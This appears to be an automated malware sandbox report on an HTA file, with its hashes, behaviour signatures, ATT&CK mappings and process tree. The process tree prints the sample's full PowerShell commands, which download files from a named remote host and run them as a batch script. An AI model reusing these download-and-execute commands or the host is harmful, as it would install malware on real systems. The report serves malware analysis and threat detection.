7d574958aa9f19ed8177ed91a0d9a1c0e222fa749046239aee7ff326880ea230

General

Target

doc(1).hta
Size

863B
MD5

2a876878eb744982978d6fc5228b6316
SHA1

6d01b2eddc73cda76aa99222f8a300c3ee26719b
SHA256

7d574958aa9f19ed8177ed91a0d9a1c0e222fa749046239aee7ff326880ea230
SHA512

6f048014b5efaf1ad7a5c3a2242658854650bc251b80941c9ff9e1e8bf99bf4e04b2384476c741f769e5391e3de2b8d441a793fe0dc128ea84719354127ca5de

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2504	powershell.exe
2504	powershell.exe
3724	powershell.exe
3724	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 2160	2616	mshta.exe	82
PID 2616 wrote to memory of 2160	2616	mshta.exe	82
PID 2616 wrote to memory of 2160	2616	mshta.exe	82
PID 2160 wrote to memory of 2504	2160	cmd.exe	84
PID 2160 wrote to memory of 2504	2160	cmd.exe	84
PID 2160 wrote to memory of 2504	2160	cmd.exe	84
PID 2616 wrote to memory of 3964	2616	mshta.exe	88
PID 2616 wrote to memory of 3964	2616	mshta.exe	88
PID 2616 wrote to memory of 3964	2616	mshta.exe	88
PID 3964 wrote to memory of 3724	3964	cmd.exe	90
PID 3964 wrote to memory of 3724	3964	cmd.exe	90
PID 3964 wrote to memory of 3724	3964	cmd.exe	90

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\doc(1).hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/z.pdf -OutFile $env:tmp\kim.bat; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\kim.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/z.pdf -OutFile $env:tmp\kim.bat; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\kim.bat
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/b.pdf -OutFile $env:tmp\Note.txt; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\Note.txt
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest -Uri http://shopdataserver4.sytes.net/pdf/b.pdf -OutFile $env:tmp\Note.txt; Start-Sleep -Seconds 5 C:\Users\Admin\AppData\Local\Temp\Note.txt
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d13ecbc416db8adee35338bf6940c5f1

SHA1
541ad2959a007bffe2ef0383be1bc3894a4e7bd9

SHA256
30e62bdcd2582b9f41c10009bec4368278132726c8312e8a28e72ff89c5687a9

SHA512
fb021e5b1f008b23e4abc823615316f7ac8dadc0f332f4356f4ebf38317796bd3f60670265620d8d7aa3510c6b88dc3c3ac1518c64a9010bccfa4ef8e77fc107

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0nopaww.nd2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2504-137-0x00000000052C0000-0x00000000052D0000-memory.dmp

Filesize
64KB

Download
memory/2504-151-0x0000000007D20000-0x000000000839A000-memory.dmp

Filesize
6.5MB

Download
memory/2504-138-0x0000000006020000-0x0000000006086000-memory.dmp

Filesize
408KB

Download
memory/2504-139-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/2504-135-0x00000000052C0000-0x00000000052D0000-memory.dmp

Filesize
64KB

Download
memory/2504-149-0x00000000066D0000-0x00000000066EE000-memory.dmp

Filesize
120KB

Download
memory/2504-150-0x00000000052C0000-0x00000000052D0000-memory.dmp

Filesize
64KB

Download
memory/2504-133-0x0000000005130000-0x0000000005166000-memory.dmp

Filesize
216KB

Download
memory/2504-152-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

Filesize
104KB

Download
memory/2504-136-0x0000000005830000-0x0000000005852000-memory.dmp

Filesize
136KB

Download
memory/2504-134-0x0000000005900000-0x0000000005F28000-memory.dmp

Filesize
6.2MB

Download
memory/3724-166-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3724-167-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download
memory/3724-169-0x0000000004A40000-0x0000000004A50000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing